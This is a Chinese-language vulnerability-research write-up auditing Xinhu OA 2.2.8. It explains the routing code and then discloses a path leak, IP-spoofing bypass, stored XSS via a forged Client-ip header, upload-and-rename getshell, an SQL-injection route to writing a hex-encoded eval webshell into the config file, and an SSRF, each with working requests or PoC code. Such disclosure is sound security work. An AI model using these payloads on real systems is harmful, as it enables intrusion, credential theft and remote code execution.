0x01 前言
信呼OA是一款自主MVC的办公系统,官网:http://www.rockoa.com/
由于它的模型,控制器,视图的路由写法与其他自主MVC框架的CMS不太相同,挖掘出来的某些0day漏洞需要脑洞,简单来说“特别有趣”,那么笔者在此记载它的漏洞详情。
本次通读为信呼OA的2.2.8最新版本,如图:
0x02 路由结构的了解
整个故事从index.php开始说起,如图:
第八行包含了config/config.php文件,我们跟进,如图:
可以看到rockFun.php文件只是定义了一系列方法,Chajian.php文件则是定义了Chajian类,rockClass.php文件定义了rockClass类文件,在config.php的第17行中调用了 new rockClass,我们看一下rockClass类的__construct方法,如图:
在rockClass类的构造方法中,我们可以看到,该类的成员属性几乎都是对用户的访问信息进行记载,这里我们最需要关注的就是第31行的getclientip成员方法,该方法存在ip伪造,这一点可能在我们后期审计时,审计出ip伪造所造成的漏洞,虽然被htmlspecialchars方法所过滤,但是我们要知道的是,htmlspecialchars是不会过滤单引号的。
那么我们回到config.php文件继续往下通读。
在图中,蓝色边框所标记的代码块为过滤代码块。
仔细一看过滤是没有什么问题,简单翻译下来就是,将传递过来的$_GET[p]中的单引号实体化,将%20删除(这里需要注意,在url传输时,%20已经被解析为空格,所以这里不会过滤空格),如果键值在以下数组中:
array('m','a','p','d','ip','web','host','ajaxbool','token','adminid')
那么将经过xssrepstr方法处理,最终返回reteistrs方法的结果,reteistrs方法的主要内容是将“/*”以及“*/”字符进行递归删除处理。
绝对路径泄露:
最直接的问题来自于图中黄色边框所标记的$this->jm->base64decode($s);代码块,此时我们的jm成员属性并没有被初始化,当前值为NULL,如果直接调用base64decode,那么PHP会直接抛出错误。
传递“?p=basejm_”,如图:
这里会直接暴露出目标的绝对路径。
那么get方法的封装我们就了解到这里,我们继续往下通读,如图:
在58行中,我们可以看到调用了rock对象的strformat方法,该方法的封装非常类似于python的format方法。随后包含了“WEB根目录/webmain/webmainConfig.php”文件,该文件为配置文件,将该文件的数组结构依次传递给$config变量。
黑名单IP绕过:
继续往下通读:
但其实这里的ip封杀模块,是可以通过client-ip进行伪造的,这里也是功能模块出现的问题,那么我们把目光放到最后一行的$rock->initRock();方法,如图:
可以看到,之前我们所说的绝对路径泄露问题,在这里才进行初始化jm成员属性,那么这里jm对象的很多方法笔者在后面会进行介绍。
那么config.php文件就这样的读完了,我们回到index.php中继续通读,如图:
这里我们可以看到,从外部接收$m,$d,$a,与$ajaxbool。这些变量就深深联系上了后期代码块的MVC关系。
那么我们把目光放到最后一行的include_once('include/View.php');
Include/View.php文件如图:
这里主要关注$actfile,如图:
再往下则是该CMS自写的模板解析功能,如图:
至此,我们已经了解框架运行原理,下面我们定义一个自己的控制器。
定义目录/文件结构如下:
访问url:“?d=test&m=heihu577&a=tester”如图:
在梳理好控制器的访问规则以及模板文件的位置之后,我们便可以开始挖掘漏洞。
0x03 漏洞信息
前台存储型XSS漏洞
其实这个点还是遗憾又有趣的,有趣点在于它是由多个小问题而引发出来的大问题,遗憾点是因为一处过滤让它原本可以进行前台SQL注入的现在只可以进行XSS攻击。我们看一下漏洞情况如下:
在管理员登录界面,单机“登录”按钮后我们可以看到url所访问的php文件,如图:
定位到\webmain\login\loginAction.php文件,如图:
跟进ActionNot类,如图:
可以看到,ActionNot类将大多数xxxAjax方法覆盖为空了,在笔者仔细的检查下,还剩下getoptionAjax方法没有被重写,我们看一下getoptionAjax方法的逻辑。如图:
跟进getdata方法,如图:
可以看到,getpids方法中调用了getmou方法,这里$num由于是get方法传递过来的,虽然经过了层层过滤,但是在那几层过滤中,是没有过滤反斜杠(\)的。
这里我们跟进getmou方法,如图:
当num最后一位为反斜杠时,SQL语句变为,select xxx from xxx where abc=’\’,至此SQL语句出现问题,从而抛出异常,触发debug的addlogs方法,在该cms中,debug是默认被开启的,我们跟进addlogs方法,如图:
注意到第七行的记录IP,我们之前知道,IP是可以被伪造的,虽然过滤了空格,但是我们可以使用tab键来进行绕过。这里最大的痛点就是将圆括号给过滤掉了,导致我们无法进行sql注入,我们跟进insert方法,如图:
至此,我们可以在log表中插入xss代码,当管理员查看“日志管理”功能时,触发xss,发送HTTP请求:
POST /?m=login&a=getoption&ajaxbool=true&num=aaaa\ HTTP/1.1
Host: www.rockcms.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Client-ip:111',web= [XSS代码的hex编码]+[(tab键)--(tab键)]
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
如图:
在后台管理员的“日志查看”处进行触发XSS:
XSS平台收信:
后台文件上传getshell
往深来讲,这个点不能说是文件上传getshell,而是修改文件名getshell。
文件上传接口:\webmain\task\api\uploadAction.php,如图:
我们可以看到,该接口过滤很死,不存在上传漏洞。
但是在 \webmain\task\runt\qcloudCosAction.php文件的runAction方法中,如图:
从数据库中获取fileext,那么上传php文件的ext也就是php,我们可以先上传php文件后再进行修改文件名,如图(数据库):
随后进入createtxt函数:
写入PHP文件。
编写上传文件POC:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://题目/api.php?m=upload&a=upfile&adminid=&device=1625923765752&cfrom=mweb&token=&sysmodenum=officia&sysmid=0&maxsize=2" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>
上传php文件成功后,我们获取页面返回的id,如图:
随后访问http://域名/task.php?m=qcloudCos|runt&a=run&fileid=刚刚的ID
即可生成php文件,如图:
Phpinfo:
后台配置文件getshell
为什么有了后台文件上传,笔者还在这里写一种配置文件getshell呢?
其实这个配置文件点非常有趣,它是与sql注入update类型的组合拳才可以进行完成,所以笔者在此分享这个小小的姿势。
在\webmain\system\geren\gerenAction.php文件中,我们可以看到这样一串代码:
很明显的一处注入漏洞,由于它所操作的是admin表,所以这个点非常有趣。我们再看一下\webmain\system\cog\cogAction.php文件的一些代码,如图:
这里的adminname成员属性,则对应了admin表中的name字段,如图:
这里虽然使用了//注释,但是//注释只是单行注释,并不是多行,导致我们使用换行符就可以进行配置文件getshell了,那么我们可以通过update注入点,来修改数据库中的name值,来进行配置文件getshell。
操作步骤如下:
登录系统 --> 发包:
/index.php?a=changestyle&m=geren&d=system&ajaxbool=true&style=21,id=1,name=0x610A6576616C28245F504F53545B315D293B2F2F
如图:
清除COOKIES再登录系统 --> 发包:
/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=705961
如图:
配置文件成功插入一句话马,如图:
后台SSRF漏洞
在\webmain\main\xinhu\xinhuAction.php文件中,观察如下代码:
跟进getcurl方法,如图:
赤裸裸的SSRF,在\webmain\main\xinhu\xinhuAction.php文件的setsaveAjax方法中,可以设置地址,如图:
设置url地址包:
POST /index.php?a=setsave&m=xinhu&d=main&ajaxbool=true HTTP/1.1
Host: www.rockcms.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=kb05c6pclv3c86adkameji5n00; deviceid=1629988220572; xinhu_mo_adminid=jj0amm0tt0amm0jl0lj0jl0aau0jj0amm0jf0ol02; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
host=http://www.baidu.com/
攻击payload:
http://www.rockcms.cn/index.php?a=testsends&m=xinhu&d=main&ajaxbool=true
如图:
0x04 尾巴
文中记载了笔者挖掘出有趣的漏洞,什么?你问我别的漏洞在哪?去记事本挖!